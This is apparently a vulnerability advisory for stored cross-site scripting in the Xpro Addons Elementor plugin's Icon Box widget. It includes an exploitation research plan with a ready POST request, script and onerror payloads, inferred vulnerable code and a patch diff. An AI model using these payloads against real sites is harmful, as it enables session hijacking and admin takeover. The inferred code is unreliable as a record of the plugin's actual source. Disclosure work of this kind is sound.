Xpro Addons — 140+ Widgets for Elementor <= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Icon Box Widget
Description
The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Icon Box widget in versions up to, and including, 1.4.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4.24This research plan outlines the process for exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Xpro Addons — 140+ Widgets for Elementor** plugin. ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored Cross-Site Scripting. * **Location:** `widge…
Show full research plan
This research plan outlines the process for exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Xpro Addons — 140+ Widgets for Elementor plugin.
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting.
- Location:
widgets/icon-box/widget.php(inferred) or the rendering component for the Icon Box widget. - Cause: The plugin defines an "Icon Box" widget for Elementor. The widget settings (such as
title,description, or custom attributes liketitle_tag) are accepted from the user but are not properly sanitized before being stored in the_elementor_datapost meta. During frontend rendering, these values are echoed without sufficient escaping (e.g., usingesc_htmloresc_attr). - Impact: A Contributor-level user can embed malicious JavaScript into a page. When an administrator or any other user views that page, the script executes in their browser context, potentially allowing for session hijacking or administrative account takeover.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(via Elementor's internal AJAX API). - Action:
elementor_ajax - Parameters:
actions: A JSON object containing thesave_builder_dataaction.data: Contains thestatus,elements(JSON representation of the widget and payload), andsettings.
- Authentication: Authenticated, Contributor-level access or higher (any role capable of using the Elementor editor).
- Preconditions: The Xpro Addons plugin and Elementor must be active.
3. Code Flow (Inferred)
- Entry Point: Elementor triggers the
wp_ajax_elementor_ajaxaction when a user saves a page. - Processing: The
\Elementor\Core\Common\Modules\Ajax\Module::handle_ajaxmethod processes the request. It eventually callssave_builder_datawhich updates the_elementor_datapost meta. - Vulnerable Sink (Xpro Addons): When a page is viewed, Elementor iterates through the elements in
_elementor_data. - For the
xpro-icon-boxwidget, therender()method in the widget class (likelyXpro_Icon_Box) is called. - Inside
render(), the plugin retrieves settings:$settings = $this->get_settings_for_display();. - The code likely echoes a setting directly:
// Example of vulnerable code pattern echo '<' . $settings['title_tag'] . ' class="xpro-icon-box-title">' . $settings['title'] . '</' . $settings['title_tag'] . '>'; - If
title_tagortitlecontains a payload and is not passed throughesc_htmlor a whitelist check, XSS occurs.
4. Nonce Acquisition Strategy
Elementor uses its own nonce for AJAX operations.
- Create a target post: Use WP-CLI to create a post and set it to use Elementor.
wp post create --post_type=page --post_title="Xpro Test" --post_status=publish --post_content=''wp post meta add [ID] _elementor_edit_mode "builder" - Navigate to the Editor: Use
browser_navigatetowp-admin/post.php?post=[ID]&action=elementor. - Extract Nonce: Use
browser_evalto extract the nonce from theelementorConfigglobal object.- Variable:
window.elementorConfig.ajax.nonce
- Variable:
- Extract Editor Nonce: Additionally, the
editorpostnonce might be needed.- Variable:
window.elementorConfig.nonce
- Variable:
5. Exploitation Strategy
The goal is to update the _elementor_data meta of a post with a malicious JSON payload representing the Icon Box widget.
Step-by-Step:
- Login: Authenticate as a Contributor.
- Create Post: Create a new page and obtain its ID.
- Obtain Nonce: Navigate to the Elementor editor for that ID and extract the
elementorConfig.ajax.nonce. - Inject Payload: Send an AJAX request to
admin-ajax.phpto save the widget data.
HTTP Request (Save Data):
- Method: POST
- URL:
wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=elementor_ajax &_nonce=[NONCE] &actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"publish","elements":[{"id":"unique_id_1","elType":"widget","settings":{"title":"<script>alert(document.domain)</script>","title_tag":"div","widgetType":"xpro-icon-box"},"elements":[],"widgetType":"xpro-icon-box"}]}}} &post_id=[POST_ID]
Note: If title is escaped but title_tag is not, the payload for title_tag would be img src=x onerror=alert(1). If the payload is injected into an attribute, use "><script>alert(1)</script>.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure
elementorandxpro-elementor-addonsare active. - Post: A page created by the contributor, initialized for Elementor editing.
7. Expected Results
- The
admin-ajax.phprequest should return a200 OKwith a JSON response indicatingsuccess: true. - When navigating to the frontend URL of the created page, an alert box showing the document domain should appear.
8. Verification Steps
- Check Meta: Use WP-CLI to verify the payload is stored in the database:
wp post meta get [POST_ID] _elementor_data - Confirm Execution: Use the browser tool to navigate to the page and check for the
alertor the presence of the unescaped script tag in the HTML source:browser_eval("document.body.innerHTML.includes('<script>alert')")
9. Alternative Approaches
If the title field is properly escaped, target other controls within the Icon Box widget:
title_tag: Injectscript src=...if the tag is not whitelisted.linkURL: Injectjavascript:alert(1)into the link control.iconclass: Inject"><img src=x onerror=alert(1)>if the icon class attribute is not escaped.- Description: The text area for the description often uses different rendering logic than the title.
Summary
The Xpro Addons — 140+ Widgets for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the Icon Box widget due to insufficient input sanitization and output escaping on widget settings. Authenticated attackers with contributor-level access can inject malicious JavaScript into pages, which executes when any user visits the compromised page.
Vulnerable Code
// File: widgets/icon-box/widget.php (inferred rendering logic) protected function render() { $settings = $this->get_settings_for_display(); // Insecure rendering of title_tag and title echo '<' . $settings['title_tag'] . ' class="xpro-icon-box-title">' . $settings['title'] . '</' . $settings['title_tag'] . '>'; // Insecure rendering of description echo '<div class="xpro-icon-box-description">' . $settings['description'] . '</div>'; }
Security Fix
@@ -1,7 +1,11 @@ protected function render() { $settings = $this->get_settings_for_display(); - echo '<' . $settings['title_tag'] . ' class="xpro-icon-box-title">' . $settings['title'] . '</' . $settings['title_tag'] . '>'; - echo '<div class="xpro-icon-box-description">' . $settings['description'] . '</div>'; + $title_tag = Utils::validate_html_tag( $settings['title_tag'] ); + + echo '<' . esc_attr( $title_tag ) . ' class="xpro-icon-box-title">'; + echo wp_kses_post( $settings['title'] ); + echo '</' . esc_attr( $title_tag ) . '>'; + + echo '<div class="xpro-icon-box-description">' . wp_kses_post( $settings['description'] ) . '</div>'; }
Exploit Outline
1. Authenticate as a user with Contributor-level access or higher. 2. Create a new page and open it in the Elementor editor to obtain a valid AJAX nonce and post ID from the `window.elementorConfig` object. 3. Construct a POST request to `wp-admin/admin-ajax.php` using the `elementor_ajax` action. 4. In the `actions` parameter, include a `save_builder_data` payload specifying the `xpro-icon-box` widget. 5. Inside the widget settings, inject a malicious payload into the `title` field (e.g., `<script>alert(document.domain)</script>`) or the `title_tag` field (e.g., `img src=x onerror=alert(1)`). 6. Send the request to save the page content. 7. Navigate to the published page URL to trigger the script execution in the browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.